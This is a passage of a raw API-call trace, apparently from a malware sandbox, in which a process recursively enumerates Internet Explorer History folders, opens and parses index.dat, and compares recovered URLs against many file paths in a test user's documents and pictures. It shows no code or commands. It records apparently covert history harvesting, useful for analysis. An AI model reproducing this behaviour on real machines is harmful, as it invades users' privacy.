[0079.604] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.604] CloseHandle (hObject=0xa0) returned 1
[0079.604] FindNextFileW (in: hFindFile=0x1aeaa8, lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 0
[0079.604] FindClose (in: hFindFile=0x1aeaa8 | out: hFindFile=0x1aeaa8) returned 1
[0079.604] FindNextFileW (in: hFindFile=0x1aea68, lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 0
[0079.604] FindClose (in: hFindFile=0x1aea68 | out: hFindFile=0x1aea68) returned 1
[0079.605] FindNextFileW (in: hFindFile=0x1aea28, lpFindFileData=0x12a30c | out: lpFindFileData=0x12a30c) returned 1
[0079.605] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.605] wcslen (_String="Low") returned 0x3
[0079.605] wcscpy (in: _Dest=0x12a55c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History"
[0079.605] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x3b
[0079.605] wcscat (in: _Dest=0x12a55c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\"
[0079.605] wcscat (in: _Dest=0x12a55c, _Source="Low" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low"
[0079.605] wcscmp (_String1="Low", _String2="..") returned 1
[0079.605] wcscmp (_String1="Low", _String2=".") returned 1
[0079.605] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.605] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.605] wcslen (_String="*.*") returned 0x3
[0079.605] wcscpy (in: _Dest=0x129688, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low"
[0079.605] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.605] wcscat (in: _Dest=0x129688, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
[0079.605] wcscat (in: _Dest=0x129688, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*"
[0079.605] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*", lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 0x1aea68
[0079.605] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.605] wcslen (_String=".") returned 0x1
[0079.605] wcscpy (in: _Dest=0x129b60, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low"
[0079.605] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.605] wcscat (in: _Dest=0x129b60, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
[0079.605] wcscat (in: _Dest=0x129b60, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\."
[0079.605] wcscmp (_String1=".", _String2="..") returned -1
[0079.605] wcscmp (_String1=".", _String2=".") returned 0
[0079.605] _wcsicmp (_String1=".", _String2="index.dat") returned -59
[0079.605] FindNextFileW (in: hFindFile=0x1aea68, lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 1
[0079.606] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.606] wcslen (_String="..") returned 0x2
[0079.606] wcscpy (in: _Dest=0x129b60, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low"
[0079.606] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.606] wcscat (in: _Dest=0x129b60, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
[0079.606] wcscat (in: _Dest=0x129b60, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\.."
[0079.606] wcscmp (_String1="..", _String2="..") returned 0
[0079.606] _wcsicmp (_String1="..", _String2="index.dat") returned -59
[0079.606] FindNextFileW (in: hFindFile=0x1aea68, lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 1
[0079.606] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.606] wcslen (_String="desktop.ini") returned 0xb
[0079.606] wcscpy (in: _Dest=0x129b60, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low"
[0079.606] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.606] wcscat (in: _Dest=0x129b60, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
[0079.606] wcscat (in: _Dest=0x129b60, _Source="desktop.ini" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\desktop.ini") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\desktop.ini"
[0079.606] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5
[0079.606] FindNextFileW (in: hFindFile=0x1aea68, lpFindFileData=0x129910 | out: lpFindFileData=0x129910) returned 1
[0079.606] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.606] wcslen (_String="History.IE5") returned 0xb
[0079.606] wcscpy (in: _Dest=0x129b60, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low"
[0079.606] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low") returned 0x3f
[0079.606] wcscat (in: _Dest=0x129b60, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\"
[0079.606] wcscat (in: _Dest=0x129b60, _Source="History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
[0079.606] wcscmp (_String1="History.IE5", _String2="..") returned 1
[0079.606] wcscmp (_String1="History.IE5", _String2=".") returned 1
[0079.606] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.606] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.606] wcslen (_String="*.*") returned 0x3
[0079.606] wcscpy (in: _Dest=0x128c8c, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
[0079.606] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.606] wcscat (in: _Dest=0x128c8c, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
[0079.606] wcscat (in: _Dest=0x128c8c, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*"
[0079.606] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 0x1aeaa8
[0079.607] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.607] wcslen (_String=".") returned 0x1
[0079.607] wcscpy (in: _Dest=0x129164, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
[0079.607] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.607] wcscat (in: _Dest=0x129164, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
[0079.607] wcscat (in: _Dest=0x129164, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\."
[0079.607] wcscmp (_String1=".", _String2="..") returned -1
[0079.607] wcscmp (_String1=".", _String2=".") returned 0
[0079.607] _wcsicmp (_String1=".", _String2="index.dat") returned -59
[0079.607] FindNextFileW (in: hFindFile=0x1aeaa8, lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 1
[0079.607] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.607] wcslen (_String="..") returned 0x2
[0079.607] wcscpy (in: _Dest=0x129164, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
[0079.607] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.607] wcscat (in: _Dest=0x129164, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
[0079.607] wcscat (in: _Dest=0x129164, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\.."
[0079.607] wcscmp (_String1="..", _String2="..") returned 0
[0079.607] _wcsicmp (_String1="..", _String2="index.dat") returned -59
[0079.607] FindNextFileW (in: hFindFile=0x1aeaa8, lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 1
[0079.607] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.607] wcslen (_String="desktop.ini") returned 0xb
[0079.607] wcscpy (in: _Dest=0x129164, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
[0079.607] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.607] wcscat (in: _Dest=0x129164, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
[0079.607] wcscat (in: _Dest=0x129164, _Source="desktop.ini" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\desktop.ini") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\desktop.ini"
[0079.607] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5
[0079.607] FindNextFileW (in: hFindFile=0x1aeaa8, lpFindFileData=0x128f14 | out: lpFindFileData=0x128f14) returned 1
[0079.607] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.607] wcslen (_String="index.dat") returned 0x9
[0079.607] wcscpy (in: _Dest=0x129164, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5"
[0079.607] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x4b
[0079.607] wcscat (in: _Dest=0x129164, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\"
[0079.607] wcscat (in: _Dest=0x129164, _Source="index.dat" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat"
[0079.607] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0
[0079.608] CreateFileW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0
[0079.615] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
[0079.615] ReadFile (in: hFile=0xa0, lpBuffer=0x128be4, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x1228ac, lpOverlapped=0x0 | out: lpBuffer=0x128be4*, lpNumberOfBytesRead=0x1228ac*=0x20, lpOverlapped=0x0) returned 1
[0079.646] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000
[0079.646] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
[0079.646] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.647] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.647] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000
[0079.647] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.647] _strlwr (in: _Str="http://www.msn.com/" | out: _Str="http://www.msn.com/") returned="http://www.msn.com/"
[0079.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b60, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="http://www.msn.com/") returned 20
[0079.647] wcscmp (_String1="http://www.msn.com/", _String2=":host: computer") returned 1
[0079.647] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveyd~1/desktop/49343.doc") returned 1
[0079.647] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned 1
[0079.647] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned 1
[0079.647] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned 1
[0079.647] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned 1
[0079.647] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned 1
[0079.647] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/olxk.ots") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned 1
[0079.648] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/n6il-.docx") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned 1
[0079.649] wcscmp (_String1="http://www.msn.com/", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned 1
